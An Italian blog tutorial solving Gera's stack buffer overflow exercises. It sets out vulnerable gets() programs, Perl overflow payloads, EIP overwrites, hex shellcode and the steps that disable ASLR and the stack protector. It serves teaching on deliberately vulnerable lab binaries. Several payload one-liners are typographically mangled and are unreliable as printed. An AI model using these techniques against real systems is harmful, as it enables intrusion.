Esercizi pratici di Buffer Overflow con Gera

Tempo di lettura: 10 minuti
Data pubblicazione: April 14, 2017

Riuscire a riconoscere errori di programmazione altrui sembra essere un compito ingrato, ma è proprio grazie a figure come questa che il browser che utilizziamo quotidianamente è sicuro e ci protegge da attacchi provenienti dall’esterno, grazie a chi se ne occupa il sistema operativo su cui scrivo l’articolo è protetto e ci sono solo remote possbilità che venga exploitato.

Avere padronanza di un linguaggio di programmazione e capire dove potrebbero esserci problemi di sicurezza è un requisito essenziale per chi si occupa di sicurezza informatica, oltre che dei programmatori.

In questo articolo andremo ad analizzare alcune delle più semplici tecniche di buffer overflow, scoperte anni fa e non più sfruttabili, in quanto sono state introdotte diverse tecniche di difesa. Il fatto che non siano sfruttabili al giorno d’oggi non deve essere una scusa per non saperle, poiché senza conoscere la basi di questi attacchi sarebbe impossibile trovarne di nuovi.

Gli esercizi introdotti son stati ideati e creati da Gera. Eseguirò gli attacchi su una macchina virtuale a 32 bit, presa da qui, mentre per chi non sapesse di cosa si sta parlando, consiglio di partire dallo scorso articolo sul Buffer Overflow.

Esercizio 1

Il codice sorgente di questo programmino, già introdotto nell’introduzione al Buffer Overflow, è cosi definito

/* stack1-stdin.c *
* specially crafted to feed your brain by gera */

#include <stdio.h>

int main() {

   int cookie;
   char buf[80];

   printf("buf: %08x cookie: %08x\n", &buf, &cookie);
   gets(buf); 

   if (cookie == 0x41424344) 
      printf("you win!\n\n"); 
}

Nel programma è presente:

  • un intero, non dichiarato;
  • un array di caratteri, di grandezza 80;
  • una chiamata gets, che accetta input dell’utente;

Dopo aver accettato input dall’utente, se la variabile cookie sarà uguale ad ACBD (scritto in esadecimale), avremo vinto il gioco.

Per esercizi di questo tipo, il mio consiglio è capire sempre cosa fa il programma e cosa potrebbe fare un eventuale attaccante. Tralasciando le dichiarazioni delle variabili, andiamo a leggere la documentazione di gets, digitando

root@sec1:~/stack# man gets
Bug presenti in gets
Bug presenti in gets

Chiaramente ci sono più modi per superare questa sfida. Essendo il primo livello, eseguiremo l’attacco più semplice, ossia quello di riempire tutto il buffer con dati casuali ed invadere lo spazio accanto, dove è presente il contenuto dell’intero cookie. Altre soluzioni potrebbero essere:

  1. sovrascrivere il registro EIP con l’indirizzo del printf, dove viene stampato you win;
  2. iniettare ed eseguire codice simulando la stampa del pintf you win.

Compilo con l’opzione_ -fno-stack-protector _per evadere la protezione dello stack e con _-w_ per diminuire gli avvisi di warning

root@sec1:~/stack# gcc -fno-stack-protector -w -o stack1 stack1.c /tmp/ccEdcqZE.o: In function `main': stack1.c:(.text+0x76): warning: the `gets' function is dangerous and should not be used.

Sapendo che dopo il buffer sarà presente cookie, basta stampare 80 caratteri casuali ed aggiungere alla fine il contenuto da inserire in cookie. Stampo la stringa ABCD invertita poichè il mio computer è in little endian.

root@sec1:~/stack# perl -e 'print “A”x80 . 'DCBA” ' > 1
root@sec1:~/stack# ./stack1 < 1
Esercizio 1 risolto
Esercizio 1 risolto

Esercizio 2

/* stack2-stdin.c *
* specially crafted to feed your brain by gera */

#include <stdio.h>

int main() {

  int cookie;
  char buf[80];

  printf("buf: %08x cookie: %08x\n", &buf, &cookie);
  gets(buf);

  if (cookie == 0x01020305)
     printf("you win!\n");
}

Molto simile a quello di prima, ma i caratteri da inserire ora non possono essere digitati da tastiera, poichè sono caratteri speciali. In particolare:

  1. 01 indica l’inizio dell’head;
  2. 02 inizio del testo;
  3. 03 la fine del testo;
  4. 05 carattere enquiry.

Per ovviare a questo problema, basta stampare direttamente in esadecimale

root@sec1:~/stack# perl -e 'print “A” x 80 - “\x05\x03\x02\x01\x00” '
Soluzione esercizio 2
Soluzione esercizio 2

Esercizio 3

/* stack3-stdin.c *
* specially crafted to feed your brain by gera */

#include <stdio.h>

int main() {

  int cookie;
  char buf[80];

  printf("buf: %08x cookie: %08x\n", &buf, &cookie);
  gets(buf);

  if (cookie == 0x01020005)
    printf("you win!\n");
}

In questo caso l’esercizio non ha nulla da aggiungere al precedente, per cui procederemo con un altra modalità di risoluzione, ossia quella di sovrascrivere l’indirizzo di EIP in modo che punti direttamente alla stampa di you win, senza fare nessun controllo.

Per prima cosa, avvio l’eseguibile con Objdump in modo da scoprire l’indirizzo della chiamata a printf.

Debugging con Objdump
Debugging con Objdump

L’indirizzo, nel mio caso, è 80484b8. Avvio ora gdb per scoprire la lunghezza dello stack, cosi posso conoscere quanti caratteri dovrò inserire nel buffer per sovrascrivere il registro target.

N.B. I moderni sistemi operativi hanno una serie di limitazioni proprio per evitare questo tipo di attacco. Ad esempio, con il mio non funzionava e ho dovuto utilizzare una distro meno aggiornata.

Dettagli del sistema che sto utilizzando
Dettagli del sistema che sto utilizzando

Avviato gdb, eseguo un break alla chiamata gets

(gdb) break gets

trovo l’indirizzo di buf e di EIP e faccio la differenza tra i due

Operazioni eseguite con GDB
Operazioni eseguite con GDB

Una volta trovata, il passo è semplice. Invece che stampare 80 volte il carattere, ne stampiamo 96, aggiungendo alla fine l’indirizzo della printf trovato prima (in little endian), diventa quindi b4840408.

root@sec1:~/stack# perl -e 'print “A”x96 . “\xb4\x84\x04\x08”' > 3
Soluzione esercizio 3
Soluzione esercizio 3

Esercizio 4

/* stack4-stdin.c *
* specially crafted to feed your brain by gera */

#include <stdio.h>

int main() {

   int cookie;
   char buf[80];

   printf("buf: %08x cookie: %08x\n", &buf, &cookie);
   gets(buf);

   if (cookie == 0x000d0a00)
      printf("you win!\n");
}

Il motivo per cui ho voluto introdurre un’altra modalità di risoluzione è perchè in questo esercizio non è possibile inserire un semplice pattern di caratteri.

Il motivo è presto detto: nel cookie deve essere presente un NULL BYTE (00), il quale indica alla gets di terminare la lettura (End Of File), di conseguenza una volta inserito quello non vengono inseriti altri caratteri.

Per risolvere questa sfida, dobbiamo ricorrere allo stesso stratagemma del precedente esercizio, trovare l’indirizzo del registro EIP e inserire lo shellcode.

Soluzione esercizio 4
Soluzione esercizio 4

Esercizio 5

/* stack5-stdin.c                               *
 * specially crafted to feed your brain by gera */

#include 

int main() {
	int cookie;
	char buf[80];

	printf("buf: %08x cookie: %08x\n", &buf, &cookie);
	gets(buf);

	if (cookie == 0x000d0a00)
        printf("you loose!\n");
}

In ques’ultimo esercizio, se inseriamo la stringa abbiamo perso. Simpaticamente, Gera ci obbliga ad iniettare uno shellcode nel codice in modo da stampare Hai vinto. Quindi dobbiamo simulare una printf da iniettare nel codice, sovrascrivendo l’indirizzo di EIP. Ma andiamo con ordine.

Per prima cosa, dobbiamo simulare una printf in linguaggio assembly in modo da avere linguaggio macchina da iniettare nel registro. Il codice che ho inserito è stato preso da qui ed è:

       .section .text
       .globl _start
     
       _start:
          jmp cali
     
      init:
         xorl %eax, %eax
         xorl %ebx, %ebx
         xorl %edx, %edx
         mov $4, %al
         mov $1, %bl
         popl %ecx
         mov $9, %dl
         int $0x80
    
         xorl %eax, %eax
         incl %eax
         xorl %ebx, %ebx
         int $0x80
    
      cali:
         call init
   
      msg:
         .ascii "Hai vinto!"

Una volta creato, bisogna compilarlo e creare l’eseguibile.

root@sec1:~/stack# as -o print.o print.s
root@sec1:~/stack# ld -o print print.o

In questo modo abbiamo ottenuto un eseguibile. Infatti se lo eseguiamo, stamperà la stringa voluta.

Per avere lo shellcode, dobbiamo ora debuggare l’eseguibile con Objdump, e copiare le stringhe esadecimali

Debug di Objdump
Debug di Objdump
root@sec1:~/stack# perl -e 'print "\xeb\x16\x31\xc0\x31\xdb\x31\xd2\xb0\x04\xb3\x01\x59\xb2\x09\xcd\x80\x31\xc0\x40\x31\xc3\xcd\x80\xe8\xe5\xff\xff\xff\x48\x61\x69\x20\x76\x69\x6e\x74\x6f\x21"' >shellcode

Per eseguire questo attacco bisogna disattivare la randomizzazione degli indirizzi, poichè dovremo iniettare un indirizzo specifico. Questo passo è semplice, per vedere se è attivo ( e dovrebbe esserlo)

root@sec1:~/stack# cat /proc/sys/kernel/randomize_va_space 
2

Per disattivarlo, bisogna solo modificare il 2 in 0

Disattivazione randomizzazione indirizzi
Disattivazione randomizzazione indirizzi

Come ultimo passaggio, dobbiamo conoscere:

  1. l’indirizzo del buffer, in modo tale da aggiungerlo al nostro shellcode;
  2. il numero di caratteri casuali che ci servono per arrivare ad esso.

Per avere l’indirizzo del buffer, basta eseguire il programma stack5. Avendo disattivato la randomizzazione, sarà sempre lo stesso

root@sec1:~/stack# ./stack5
buf: bffffcec  cookie: bffffd3c

Mentre per aver il numero di caratteri, basterà vedere quanti bytes possiede il nostro shellcode e fare la differenza con la distanza di EIP (la mia era 96)

root@sec1:~/stack# ls -l shellcode
-rw-r--r--  1  root  root  39  Apr 13 12.50  shellcode

Finalmente eseguo l’attacco

Soluzione esercizio 5
Soluzione esercizio 5

Conclusioni

Sfida davvero interessante, soprattutto per chi non ha mai eseguito attacchi di Buffer Overflow ed è solamente agli inizi. Nei prossimi articoli continuerò con questi esercizi, passando a quelli più avanzati, sfruttando altre tecniche di attacco. Alcuno approfondimenti che possono consigliare sono il classico Smashing the stack for Fun and Profit di Aleph One e How do I become a Ninja? .